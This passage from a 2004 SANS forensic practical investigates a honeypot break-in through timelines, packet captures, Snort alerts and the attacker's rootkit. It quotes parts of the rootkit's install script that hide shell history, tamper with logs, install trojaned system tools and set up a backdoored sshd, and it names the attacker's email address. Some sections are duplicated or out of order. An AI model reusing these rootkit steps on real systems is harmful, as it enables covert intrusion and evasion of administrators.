<td>24824</td>
<td>.a. -/rwxr-xr-x root root 26121</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/bin/ifconfig</td>
<td>83132</td>
<td>mac -/rwxr-xr-x root root 97252</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/.lib/libne</td>
<td>24755</td>
<td>.a. -/rwxr-xr-x root root 33730</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/strings</td>
<td>17960</td>
<td>m.c -/rwxr-xr-x root root 66311</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../write</td>
<td>144</td>
<td>mac -/r-w-r-- root root 97261</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/.lib/libfh</td>
<td>34924</td>
<td>mac -/r-xr-xr-x root root 97254</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/.lib/libdu</td>
<td>24752</td>
<td>.a. -/rwxr-xr-x root root 127714</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/sbin/lsof (deleted-realloc)</td>
<td>45948</td>
<td>.a. -/rwxr-xr-x root root 31646</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/vdir</td>
<td>53910</td>
<td>.ac -/rwxr-xr-x root root 16228</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../curatare/pstree</td>
<td>45948</td>
<td>mac -/rwxr-xr-x root root 97249</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
As noticed above via investigation of the /var/log/maillog log file, the attacker attempts to mail data from system to the danni3ll@yahoo.com.au e-mail account. This activity seems to be part of the rootkit installation file. However, because the honeypot was not configured correctly to send mail, the mail never deleted the file in /var/spool/mqueue. 

sendmail does this by default in an effort to send it at a later time.

The logs below represent the end of the timeline immediately prior to honeypot power-off:

```
174276  Sat Nov 22 2003 11:01:01   1024 .a. d/drwxr-xr-x root root  8036
/root/etc/cron.hourly
174277                              59286 .a. -/rw-r--r-- root root  28249
/root/etc/ld.so.cache
174278                             485171 .a. -rw-r--r-- root root  60242
/root/lib/ld-2.2.4.so
174279                                11 .a. lrwxrwxrwx root root  60243
/root/lib/id-linux.so.2 -> ld-2.2.4.so
174280                              60258 m.c -rw------- root root  12082
/var/log/cron
174281                              14 .a. lrwxrwxrwx root root  60256
/root/lib/libdl.so.2 -> libdl-2.2.4.so
174282                              13 .a. lrwxrwxrwx root root  72291
/root/lib/id686/libc.so.6 -> libc-2.2.4.so
174283                              227 .a. -rw-r--r-- root root  28263
/root/etc/mtab
174284                               572 .a. -rw-r--r-- root root  28245
/root/etc/group
174285                              11832 .a. -rwrxr-x root root  60314
/root/lib/libtermcap.so.2.0.8
174286                              65997 .a. -rwrxr-x root root  60255
/root/lib/libdl-2.2.4.so
174287                               749 .a. -rwrxr-x root root  31588
/usr/bin/run-parts
174288                               19 .a. lrwxrwxrwx root root  60315
/root/lib/libtermcap.so.2.0.8
174289                              5772268 .a. -rwrxr-x root root  72290
/root/lib/id686/libc-2.2.4.so
```

As part of GIAC practical repository. Author retains full rights.
Network Capture Based Timeline Analysis

We can utilize the raw packet dumps to reconstruct the transaction that took place between the attacker and the honeypot upon compromise and rootkit installation. Reconstruction of the TCP stream is performed by loading the raw packet captures from the tcpdump processes monitoring the bridge on the bridging firewall in the ethtool application. The log below represents both what the attacker sent and received from the honeypot upon compromise.

```
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS mozilla@
230 Guest login ok, access restrictions apply.
RNFR ./.
350 File exists, ready for destination name
RNFR ./.
350 File exists, ready for destination name
PWD
257 "/" is current directory.
CWD 0000000000000000000000000000000000000000000000
CWD ~/{.
550 0000000000000000000000000000000000000000000000
CWD ~/{.
550 File name too long.
CWD ~/{.
250 CWD command successful.
CWD .
250 CWD command successful.
RNFR ./.
350 File exists, ready for destination name
CWD 735073
550 735073: No such file or directory.
CWD 73507
550 73507: No such file or directory.
CWD 73506
550 73506: No such file or directory.
RNFR .
350 File exists, ready for destination name
RNFR ./.
350 File exists, ready for destination name
CWD ~/{.
```

```bash
4:45am up 1:58, 0 users, load average: 0.00, 0.00, 0.00
USER   TTY      FROM       LOGIN@   IDLE   JCPU   PCPU  WHAT
/usr/sbin/adduser daniel
ps -a
```

```
Jason_B_Anderson_GCFA
Page 91 of 111
© SANS Institute 2004, Author retains full rights.
```
We can use the whois command to get information about the system by which the attacker stored his rootkit. By having logged in with a username and passwd, it is probably reasonable to assume that the attacker has compromised a system within the jurisdiction of the United States, as can be seen below.

```
[root@GCFA string]# whois 206.253.222.88
[Querying whois.arin.net]
[whois.arin.net]
OrgName:    Internap Network Services
OrgID:      PNAP
Address:    250 Williams Street
Address:    Suite E100
City:       Atlanta
StateProv:  GA
PostalCode: 30303
Country:    US
CIDR:       206.253.192.0/19
```
As the bridging firewall was configured with the Snort intrusion detection system, a short summary of the snort collected data is listed below. The data shows the FTP RNFR attack followed by a transfer of noop sled shellcode and wu-ftp bad file completion attempts. Even though not all of this data is considered by snort to be high priority events (snort interprets priority 1 events as most serious, priority 3 events as least serious), the context of the events while considered together has been proven to be a true positive.

<table>
<thead>
<tr>
<th>Date</th>
<th>Event Description</th>
<th>Classification</th>
</tr>
</thead>
<tbody>
<tr>
<td>11/22-04:24:48</td>
<td>FTP RNFR ././ attempt [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:05</td>
<td>SHELLCODE x86 EB OC NOOP [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:09</td>
<td>FTP RNFR ././ attempt [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:09</td>
<td>SHELLCODE x86 EB OC NOOP [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:10</td>
<td>FTP wu-ftp bad file completion attempt [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:21</td>
<td>FTP RNFR ././ attempt [**]</td>
<td>Misc Attack</td>
</tr>
</tbody>
</table>

We can use the Linux whois client to access the APNIC registry to retrieve information regarding the owners of the address, it would appear that it is also likely a compromised host, as it seems to be part of an educational facility.

```
whois 218.3.240.10
```

---

**NetName:** INTERNAP-SEA
**NetHandle:** NET-206-253-192-0-1
**Parent:** NET-206-0-0-0-0
**NetType:** Direct Allocation
**NameServer:** NS1.PNAP.NET
**NameServer:** NS2.PNAP.NET
**Comment:** ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE
**RegDate:** 1996-07-18
**Updated:** 2002-06-17
**TechHandle:** IN03-ARIN
**TechName:** InterNap Network Operations Center
**TechPhone:** +1-206-256-9500
**TechEmail:** noc@internap.com

**OrgTechHandle:** INO3-ARIN
**OrgTechName:** InterNap Network Operations Center
**OrgTechPhone:** +1-206-256-9500
**OrgTechEmail:** noc@internap.com

**OrgAbuseHandle:** IAC3-ARIN
**OrgAbuseName:** Internap Abuse Contact
**OrgAbusePhone:** +1-206-256-9500
**OrgAbuseEmail:** abuse@internap.com

**OrgTechHandle:** INO3-ARIN
**OrgTechName:** InterNap Network Operations Center
**OrgTechPhone:** +1-206-256-9500
**OrgTechEmail:** noc@internap.com

---

As the bridging firewall was configured with the Snort intrusion detection system, a short summary of the snort collected data is listed below. The data shows the FTP RNFR attack followed by a transfer of noop sled shellcode and wu-ftp bad file completion attempts. Even though not all of this data is considered by snort to be high priority events (snort interprets priority 1 events as most serious, priority 3 events as least serious), the context of the events while considered together has been proven to be a true positive.

<table>
<thead>
<tr>
<th>Date</th>
<th>Event Description</th>
<th>Classification</th>
</tr>
</thead>
<tbody>
<tr>
<td>11/22-04:24:48</td>
<td>FTP RNFR ././ attempt [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:05</td>
<td>SHELLCODE x86 EB OC NOOP [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:09</td>
<td>FTP RNFR ././ attempt [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:09</td>
<td>SHELLCODE x86 EB OC NOOP [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:10</td>
<td>FTP wu-ftp bad file completion attempt [**]</td>
<td>Misc Attack</td>
</tr>
<tr>
<td>11/22-04:25:21</td>
<td>FTP RNFR ././ attempt [**]</td>
<td>Misc Attack</td>
</tr>
</tbody>
</table>

We can use the Linux whois client to access the APNIC registry to retrieve information regarding the owners of the address, it would appear that it is also likely a compromised host, as it seems to be part of an educational facility.

```
whois 218.3.240.10
```
inetnum: 218.3.240.8 - 218.3.240.15
netname: XUZHOU-TEACHER-TRAINING-COLLEGE
descr: Xuzhou Teacher Training College Education
descr: Xuzhou City
descr: Jiangsu Province
country: CN
admin-c: CH482-AP
tech-c: CH482-AP
changed: ip@jsinfo.net 20030315
status: ASSIGNED NON-PORABLE
mnt-by: MAINT-CHINANET-JS
mnt-lower: MAINT-CHINANET-JS-XZ
source: APNIC

route: 218.3.0.0/16
descr: CHINANET Jiangsu province network
country: CN
origin: AS23650
mnt-by: MAINT-CHINANET-JS
changed: ip@jsinfo.net 20030414
source: APNIC

person: CHINANET-JS-XZ Hostmaster
address: No.116, Huaihai East Road, Xuzhou 221000
country: CN
phone: +86-516-5806352
fax-no: +86-516-3712480
e-mail: ipxz@pub.xz.jsinfo.net
nic-hdl: CH482-AP
remarks: send anti-spam or abuse reports to abuse@public.xz.js.cn
remarks: or abuse@pub.xz.jsinfo.net
remarks: times in GMT+8
mnt-by: MAINT-CHINANET-JS-XZ
changed: ip@jsinfo.net 20030428
source: APNIC

Timeline Summary

<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sat Nov 03 2001</td>
<td>Attackers Root kit is compiled and packaged</td>
</tr>
<tr>
<td>12:04:48</td>
<td></td>
</tr>
<tr>
<td>Thu Nov 20 2003</td>
<td>Begin Honeypot Operating System Installation</td>
</tr>
<tr>
<td>13:32:25</td>
<td></td>
</tr>
<tr>
<td>Thu Nov 20 2003</td>
<td>End Honeypot Operating System Installation</td>
</tr>
<tr>
<td>14:21:31</td>
<td></td>
</tr>
<tr>
<td>Sat Nov 22 2003</td>
<td>Honeypot connected directly to Internet</td>
</tr>
<tr>
<td>02:47:20</td>
<td></td>
</tr>
<tr>
<td>Sat Nov 22 2003</td>
<td>Attacker exploits FTP vulnerability</td>
</tr>
<tr>
<td>04:24:40</td>
<td></td>
</tr>
<tr>
<td>Sat Nov 22 2003</td>
<td>Attacker creates ‘Daniel’ Account</td>
</tr>
<tr>
<td>04:46:04</td>
<td></td>
</tr>
<tr>
<td>Sat Nov 22 2003</td>
<td>Attacker configures rootkit</td>
</tr>
<tr>
<td>04:46:53</td>
<td></td>
</tr>
</tbody>
</table>
**Recovery of Deleted Files**

**Network Based File Recovery**

Rootkit extraction from the network datastream was accomplished by using `tcpdump` to log binary packet dumps to the bridging firewall. `ethereal` was then used to analyze the traffic. Analysis steps consisted of:

1. Identifying the connection invoked by the attackers use of the `ncftp` client to download their rootkit from 206.253.222.88
2. Using `ethereal`’s TCP stream capture utility to save the data content associated with that FTP TCP transaction to file.

```
[root@gateway rootkit]# file rootkit1.tar.gz
rootkit1.tar.gz: gzip compressed data, from Unix

[root@GCFA rootkit]# tar xfvzp rootkit1.tgz
.rootkit/
   .rootkit/startup.tgz
   .rootkit/curatare.tgz
   .rootkit/sshd.tgz
   .rootkit/mail-info.tgz
   .rootkit/sniffer.tgz
   .rootkit/trojans.tgz
   .rootkit/motd
   setup

[root@GCFA rootkit]# ls -al
total 400
  drwxr-xr-x  3 kraut  kraut  4096 Jan 28 22:12 .
  drwxr-xr-x 16 kraut  kraut  4096 Jan 28 21:32 ..
  drwxr-xr-x  4 kraut  kraut  4096 Jan 28 22:12 .rootkit
  -rw-r--r--  1 kraut  kraut  385815 Nov 23 18:04 rootkit1.tar.gz
  -rwxr-xr-x  1 root   root   3265 Jul  4  2003 setup

[root@GCFA rootkit]# cd .rootkit/
[root@GCFA .rootkit]# ls curatare mailme read startup.tgz trojans.tgz
curatare.tgz motd sniffer.tgz startup.tgz write
mail-info.tgz port sshd.tgz trojans

[root@GCFA .rootkit]# file *
curatare: directory
curatare.tgz: gzip compressed data, from Unix
mailinfo.tgz: gzip compressed data, from Unix
mailme: Bourne shell script text executable
motd: ASCII text
port: Bourne shell script text executable
```

We use the `file` command to examine the contents of the network extracted file, verifying that it appears to be a valid gzipped tar archive.

We use the `tar` command to unzip and unarchive the rootkit file verbosity. As a result we see that the archive contained a setup script, hidden directory, and several more archived/ziped utilities.

We examine the contents of the directory after the extraction.

We change directory into the hidden file and examine the contents.

We use the `file` command to assess the types of files in the rootkit.
We manually inspect the contents of the mailme script. We again see the e-mail address of the attacker, and understand the way by which he created the e-mail file previously discussed that was located in the /var/spool/mqueue directory.

Next, we would like to inspect the contents of the rootkit install script. We see that it conveniently provides a step by step description of every phase of the rootkit installation process. In the following analysis, we will discuss each section of the rootkit installation script individually in the right hand column.

### Rootkit install script (broken down for analysis)

```bash
#!/bin/bash

BLK='#'
RED='*
GRN=''
YEL=''
BLU=''
MAG=''
CYN=''
WHI=''
DRED=''
DYEL=''
DBLU=''
DMAG=''
DCYN=''
DWHI=''
RES=''

unset HISTFILE
unset HISTSAVE
unset HISTLOG

chown root.root *
```

This tells the Unix kernel to interpret this file as a Unix shell script. The second line doesn’t affect the interpreter, and looks like a backup to the first line intended for manual editing.

It looks like the attacker dedicated some time to enhance the rootkit installation experience with color.

The attacker instructs the Unix shell to forgo command recording to the history files.

The attacker makes root the owner and group owner of all files within the current directory.
STARTDIR=`pwd`

```bash
chattr +suai ~root/.bash_history
chattr +suai /var/log/messages
```

The attacker saves the present working directory to a variable.

```
chattr +suai /var/log/messages
```

The attacker uses the `chattr` command to set options associated with Linux ext2 and above file systems. The ‘s’ in ‘suai’ ensures that the file will be securely deleted if deleted, the ‘u’ specifies that the contents are saved for recovery if deleted by user. The ‘a’ makes the file only available for writing through an append, and the ‘I’ makes the file unavailable for name change, deletion, or linking until the super-user removes this attribute from the file.

```
clear
sleep 5
```

Clear the screen and waiting 5 seconds prior to proceeding.

```
cd .rootkit >> /dev/null
DIR='pwd'
```

We change into the .rootkit hidden directory. We save this directory to a variable.

```
tar xzf sk.tgz >> /dev/null
```

No sk.tgz archive exists in the rootkit, so this wouldn’t have done anything.

```
No sk.tgz archive exists in the rootkit, so this wouldn’t have done anything.
```

```
cd $DIR
```

```
 We write the penguin ascii art to screen. We render the penguin in green.
```

```
echo "\$[GRN]"
```

```
echo \"\$[GRN]Starting Rootkit Installation ....\$[RES]\" printerr
```

```
echo \"\$[RED]Makeing Home Directory And Copying Programs ...
```

```
mkdir -p /etc/nmh/.../ >> /dev/null
```

```
 We create a directory ‘nmh’ within the /etc directory to use as a place to hide the hidden directory ‘…”
```

```
tar -xzf sniffer.tgz >> /dev/null
```

```
We unzipped the sniffer files and save them to the hidden directory.
```

```
cp write /etc/nmh/.../write >> /dev/null
```

```
cp read /etc/nmh/.../read >> /dev/null
```

```
Curatare contains trojaned ps and pstree commands, presumably to hide the sniffer and backdoored sshd processes from the system administrator.
```

```
tar -xzf curatare.tgz -C /etc/nmh/.../ >> /dev/null
```

```
echo "\$[RED]Done With Directoys & Programs ...\$[RES]"
```

```
echo "\$[RED]Removing Original Files ...
```

```
echo "\$[RED]And Replacing With Ours ...
```

```
echo "\$[RED]Stoping Unwantedps
```

```
tar -xzf trojans.tgz >> /dev/null
```

```
Here the attacker trojanizes a large number of system utilities
```

```
tar -xzf sshd.tgz >> /dev/null
```

```
The attacker reconfigures the sshd infrastructure as a backdoor for future connection.
```

```
cd trojans/ >> /dev/null
```

```
.. >> /dev/null
```

```
echo "\$[RED]Copying SSH Files ...
```

```
echo "\$[GRN]sshd_config ...
```

```
fi
```

```
Here the attacker reconfigures the sshd infrastructure as a backdoor for future connection.
```

```
if [ -f /usr/lib/sshd_config ]
then
  chattr -suai /usr/lib/sshd_config >> /dev/null
  rm -rf /usr/lib/sshd_config >> /dev/null
fi
```
The attacker copies their sshd daemon into an inconspicuous location/name to be ran as a daemon. Inspection of the sshd_config command shows that the attacker has this version of sshd listening on port 123.

These files control the automated startup of the sniffer infrastructure via use of the /etc/init.d/port script.

The attacker collects basic information and emails to their (presumably) personal e-mail address.

The attacker insecurely removes the contents of the hidden .rootkit directory and the associated files.

The attacker sets the History length to only store one command.

No clear reason why the attacker would want to remove secure deletion properties on the rpcgen command.
echo anonymous >> /etc/ftpusers
echo ftp >> /etc/ftpusers
echo

The attacker prevents other users from logging in as ftp or anonymous, thereby closing the hole that the attacker used to exploit the system.

echo "${GRN}[D] [O] [N] [E] ...${RES}"
hostname -f
/sbin/ifconfig | grep inet
echo "${RES}"
rm -rf dan.tgz

The attacker prints the fully qualified domain name to the screen and ensures that promiscuous mode is up via use of the ifconfig command.

The attacker insecurely removes the original overall rootkit package.

The script below is installed under the /etc/init.d Linux startup folder and serves as the sshd daemon listening on Port 123 and as the rootkit boot startup script. This sshd daemon, renamed above by the install script as kflushd, has likely been trojanized.

[root@GCFA init.d]# cat port
#!/bin/sh
x=`pwd`
cd /sbin >> /dev/null
export PATH=".
kflushd &

cd /etc/nmh/.../ >> /dev/null
PATH=".";export PATH
write &
cd $x > /dev/null

We use the cat command to list the contents of the port script.

We perform a strings command specifying increasing numbers of ascii printable.

String Search Results

Because the swap partition isn't organized as a filesystem, swap analysis is limited to a string search. Our analysis strategy will be to look at a number of different printable string lengths within the swap partition. We will look at all string sequences that range between 8 and 45 printable characters long (surrounded by non-printable characters) with the string command. This method should ensure that we have searchable access to most of the probable sequences that would be expected to have descriptive merit. Upon collection of various string sequences, we will utilize a list of keywords to further narrow our data.

[root@GCFA media_analysis]# for n in `seq 8 45`
> do
> strings -${n} partition_6.dd > partition_6.strings.${n}
> done

We perform a strings command specifying increasing numbers of ascii printable.
character string sequences ranging from 8 to 40

We see the respective number of strings in the swap partition based upon increasing numbers of ascii printable character string sequences.

We review the sizes of our resultant string files. As expected, the files representing longer string sequences are smaller than the ones with fewer string sequences.
<table>
<thead>
<tr>
<th>partition_6.strings.21</th>
<th>-rw-r--r-- 1 root root 1233641 Jan 30 12:27</th>
</tr>
</thead>
<tbody>
<tr>
<td>partition_6.strings.22</td>
<td>-rw-r--r-- 1 root root 1206616 Jan 30 12:28</td>
</tr>
<tr>
<td>partition_6.strings.23</td>
<td>-rw-r--r-- 1 root root 1182616 Jan 30 12:29</td>
</tr>
<tr>
<td>partition_6.strings.24</td>
<td>-rw-r--r-- 1 root root 1162991 Jan 30 12:30</td>
</tr>
<tr>
<td>partition_6.strings.25</td>
<td>-rw-r--r-- 1 root root 1139799 Jan 30 12:31</td>
</tr>
<tr>
<td>partition_6.strings.26</td>
<td>-rw-r--r-- 1 root root 1121736 Jan 30 12:31</td>
</tr>
<tr>
<td>partition_6.strings.27</td>
<td>-rw-r--r-- 1 root root 1101464 Jan 30 12:32</td>
</tr>
<tr>
<td>partition_6.strings.28</td>
<td>-rw-r--r-- 1 root root 1083861 Jan 30 12:33</td>
</tr>
<tr>
<td>partition_6.strings.29</td>
<td>-rw-r--r-- 1 root root 1061031 Jan 30 12:34</td>
</tr>
<tr>
<td>partition_6.strings.30</td>
<td>-rw-r--r-- 1 root root 1039672 Jan 30 12:35</td>
</tr>
<tr>
<td>partition_6.strings.31</td>
<td>-rw-r--r-- 1 root root 1015064 Jan 30 12:36</td>
</tr>
<tr>
<td>partition_6.strings.32</td>
<td>-rw-r--r-- 1 root root 989258 Jan 30 12:37</td>
</tr>
<tr>
<td>partition_6.strings.33</td>
<td>-rw-r--r-- 1 root root 974740 Jan 30 12:38</td>
</tr>
<tr>
<td>partition_6.strings.34</td>
<td>-rw-r--r-- 1 root root 956820 Jan 30 12:39</td>
</tr>
<tr>
<td>partition_6.strings.35</td>
<td>-rw-r--r-- 1 root root 937308 Jan 30 12:40</td>
</tr>
<tr>
<td>partition_6.strings.36</td>
<td>-rw-r--r-- 1 root root 918549 Jan 30 12:41</td>
</tr>
<tr>
<td>partition_6.strings.37</td>
<td>-rw-r--r-- 1 root root 879333 Jan 30 12:41</td>
</tr>
<tr>
<td>partition_6.strings.38</td>
<td>-rw-r--r-- 1 root root 862602 Jan 30 12:42</td>
</tr>
<tr>
<td>partition_6.strings.39</td>
<td>-rw-r--r-- 1 root root 849322 Jan 30 12:43</td>
</tr>
<tr>
<td>partition_6.strings.40</td>
<td>-rw-r--r-- 1 root root 832922 Jan 30 12:44</td>
</tr>
<tr>
<td>partition_6.strings.41</td>
<td>-rw-r--r-- 1 root root 814358 Jan 30 12:45</td>
</tr>
<tr>
<td>partition_6.strings.42</td>
<td>-rw-r--r-- 1 root root 793030 Jan 30 12:46</td>
</tr>
<tr>
<td>partition_6.strings.43</td>
<td>-rw-r--r-- 1 root root 747270 Jan 30 12:47</td>
</tr>
<tr>
<td>partition_6.strings.44</td>
<td>-rw-r--r-- 1 root root 704512 Jan 30 12:47</td>
</tr>
<tr>
<td>partition_6.strings.45</td>
<td>-rw-r--r-- 1 root root 2506752 Jan 30 12:09</td>
</tr>
<tr>
<td>partition_6.strings.46</td>
<td>-rw-r--r-- 1 root root 2188940 Jan 30 12:14</td>
</tr>
<tr>
<td>partition_6.strings.47</td>
<td>-rw-r--r-- 1 root root 1995791 Jan 30 12:15</td>
</tr>
</tbody>
</table>

We use regular expression search capability of egrep to look for IP addresses found in swap, all were related to initial honeypot configuration.

To identify any executable's usage summaries, we grep for usage strings that would be expected to be part of the binary. Due
Keywords and regular expressions (beyond the port example above) used to search for signs of compromise were:

- Port
- Hack
- Rootkit
- Dan
- Yahoo
- 31337
- ssh

**Strings Search Summary**

Keyword searches on the aforementioned strings yielded little in the string search on the swap partition. Of the data that was available, it was apparent that much of the swap still contained strings related to the Operating System install from 2 days prior to compromise. The majority of this memory seemed to contain data related to some element of the X configuration.

**Conclusions**

The following conclusions were made regarding the honeypot compromise:

- By using the username daniel84 in one of his ftp download attempts, and by using the email address danni3ll@yahoo.com.au, we have reason to suspect that the attacker may be located in Australia. By using the username Daniel, we may also have reason to suspect that the attacker’s first name is Daniel. Other references to danni3ll from Google suggest that Daniel frequents IRC (Internet Relay Chat), which is a common Internet Chat client for computer attackers.
- The attacker used only a user-mode rootkit, which was limited to basically removing lines from operating system utilities prior to printing to screen. In the case where the attacker wishes to filter the string ‘PROMISC’ out of the `ifconfig` executable, in doing so, he also remove other relevant information that is easily missed by simply comparing the `ifconfig` output of the Ethernet card vs the `linux` loopback driver. This suggests that the attacker does not fully comprehend the nature of covering his tracks in Linux.
- As was shown in the analysis of the `/var/log/messages` file, the attacker failed to remove signs of the `in.ftpd` daemon compromise. A more thorough break-in would have removed all signs of initial compromise.
• The attacker did manage to close the vulnerability by which they compromised the system simply by adding ftp and anonymous to the /etc/ftpusers file, thereby preventing these anonymous accounts from being able to interact with the daemon in the first place, preventing a recurrent attack on the same vulnerability by another attacker.
• While the attacker was unwise in transferring his rootkit via cleartext ftp, thereby allowing for our interception, they did manage to delete the files securely in a way that they were unrecoverable using the Sleuthkit.
• The attacker was careless in leaving his email address in plain site in the /var/spool/mqueue directory, and should have verified that sendmail was able to transfer his file, else collect system information via ssh.
• The attacker appeared to have compromised the honeypot from another compromised system in China, and then downloaded their rootkit from a possibly compromised FTP server in Atlanta. This suggests that the attacker has compromised numerous systems.

The following conclusions were made regarding the honeypot configuration
• Timeline analysis was complicated by noise created by cron jobs, especially the slocate cron job, which modified the access times of many system files. While honeypots should be minimally modified, a removal of the cron processes would have facilitated easier timeline analysis.
• The attacker was able to do much over an SSH connection that was not monitorable via network surveillance. Assuming that most attackers would trust the ssh client and sshd daemon process on the compromised honeypot, it might be worth modifying the ssh and ssdh honeypot sourcecode to include keylogging capabilities.

References
2. Setuid Man Page. URL: http://www.homeport.org/~adam/setuid.7.html  
4. Carrier, Brian. Sleuthkit Homepage. URL: http://www.sleuthkit.org  
5. Ethereal Homepage. URL: http://www.ethereal.com/  
Part 3 - Legal Issues of Incident Handling

Laws broken by the Distribution of copyrighted materials in the United States

Definitions and Scope
U.S. copyright law provides for the protection of literary works, musical works including any accompanying words, dramatic works, including any accompanying music, pantomimes and choreographic works, pictorial, graphic, and sculptural works, motion pictures and other audiovisual works, architectural works, and sound recordings.

Digital property such as software and source-code fall within the broad scope covered by Literary works. Music Content formats such as MP3’s and similar formats, along with Movie recordings such as AVI’s, WMA’s, and similar formats, fall within the digital interpretation of sound recordings and motion pictures, respectively.

17 U.S.C Section 101 (7) defines ‘Literary works’ as:

works, other than audiovisual works, expressed in words, numbers, or other verbal or numerical symbols or indicia, regardless of the nature of the material objects, such as books, periodicals, manuscripts, phonorecords, film, tapes, disks, or cards, in which they are embodied.

Sound recordings are similarly defined under 17 U.S.C Section 101 (2) as:

“Sound recordings” are works that result from the fixation of a series of musical, spoken, or other sounds, but not including the sounds accompanying a motion picture or other audiovisual work, regardless of the nature of the material objects, such as disks, tapes, or other phonorecords, in which they are embodied.

17 U.S.C Section 101 defines ‘Audiovisual works’ as:

Works that consist of a series of related images which are intrinsically intended to be shown by the use of machines, or devices such as projectors, viewers, or electronic equipment, together with accompanying sounds, if any, regardless of the nature of the material objects, such as films or tapes, in which the works are embodied.

Rights of Copyright Owners and Definitions of Violation
According to 17 U.S.C Section 106 subsections (5),(6), “Subject to sections 107 through 121, the owner of copyright under this title has the exclusive rights to do and to authorize, in the case of literary, musical, dramatic, and choreographic works, pantomimes, and pictorial, graphic, or sculptural works, including the individual images
of a motion picture or other audiovisual work, to display the copyrighted work publicly; and in the case of sound recordings, to perform the copyrighted work publicly by means of a digital audio transmission. This section of title 17 provides authorization to the copyright author sole rights in the dissemination of Music and Music Videos, audiovisual works such as Motion Picture content and DVD’s, and literary works including software and games to the public in anyway subject to the limitations outlined in 17 U.S.C Sections 107 through 121.

Limitations on the Rights of Copyright Owners
Fair Use exceptions are outlined in 17 U.S.C Sections 107. Given the nature of the public distribution of copyrighted materials fair use considerations would have to include, according to 17 U.S.C Section 17 subsections (1),(2),(3),(4), use for educational or commercial usages, the nature of the work, the fractional quantity of the work used, and the effect of use on the potential value of the work. Essentially, fair use contributes substantially to the ‘grey area’ considerations of copyright law. It is improbable that John Price’s activities would fall within a fair use exception clause to 17 U.S.C Section 106.

17 U.S.C Section 109 also documents the limitation of right of the copyright owner, allowing for the rights of the copy owner to sell particular copies. As John Price was known to have been using digital copies of copyrighted material, it is again improbably that his activities would be protected under this provision.

17 U.S.C Section 114 deals with the scope of exclusive rights in sound recordings, and provides for the following limitations on the rights of the copyright owner in cases of public transfer for a number of cases involving broadcasting. None of these exemptions would limit copyright owners rights against public digital distribution by John Price.

17 U.S.C Section 117 deals with limitations on the exclusive rights of copyright owners in cases related to computer programs. Specific cases include when making copies of the software is an essential part of utilizing the program, or during archival purposes during legitimate ownership is granted. Rights entitled to the copyright owner by John Prices public distribution would likely not be limited by an interpretation of these provisions.

Liability Limitations for Service Providers
17 U.S.C Section 512 defines liability limitations for service providers who did not initiate or direct the transmission of infringing activities, in cases of transitory digital network communications:

“A service provider shall not be liable for monetary relief, or, except as provided in subsection (j), for injunctive or other equitable relief, for infringement of copyright by reason of the provider's transmitting, routing, or providing connections for, material through a system or network controlled or operated by or for the service provider, or by reason of the intermediate and transient storage of that material in the course of such
transmitting, routing, or providing connections, if the transmission of the material was initiated by or at the direction of a person other than the service provider."\textsuperscript{14}

This section likely could be used to limit the liability of the company in the case of John Price's public distribution of copyrighted material. Legal Counsel would be necessary prior to taking any actions on this interpretation.

\textbf{Incident Response Strategies in Copyright Violation Scenarios within the United States}

\textbf{Preparation}

\textbf{Environment & User Familiarity}
Incident handlers should have a reliable and up-to-date method of assessing information on any part of the network that falls within their scope of responsibility, including lists of systems, their configurations, their listening daemons, compliance of those systems with minimum security specifications, and network maps, security infrastructure. They should also be familiar with the types of information on these systems, and the nature of information as it regularly transverses the networks. Incident handlers should also be familiar with user requirements and the users themselves. Knowledge of Law Enforcement contacts and contacts with upstream ISP's and extranet partners are also advised.\textsuperscript{11,14}

\textbf{Security Policies}
Preparation steps should include the formation and regular update of corporate information security policies that mandate compliance to the laws outlined in Title 17 of U.S. Code. Security policies should also state penalties for violating copyright laws and define the actions to be taken during an investigation phase\textsuperscript{11}. The policies should also state be written to give guidance on incident handling steps to follow in case of an incident, and should state the powers and discretions available to different stakeholders in the corporation, including management\textsuperscript{11}.

\textbf{User Education}
User education should be disseminated to employees through the use of flyers, corporate memo's, mandatory classes regarding information security policies and penalties for their violation. By educating the user base, a company can pro-actively stem the problem prior to its initiation.

\textbf{Identification}
Identification of copyright violations can be garnered via a variety of methods. Methods for identifying potential copyright violations can be categorized in proactive and reactive methods:

\textbf{Pro-active Identification Methods}: Corporate shares and publicly available servers such as web servers, file servers, open shares, and systems available to non-trusted users
should be regularly scanned for content which can be identified by file extensions such as ".mp3, .avi, .wma, .jpg, .gif"

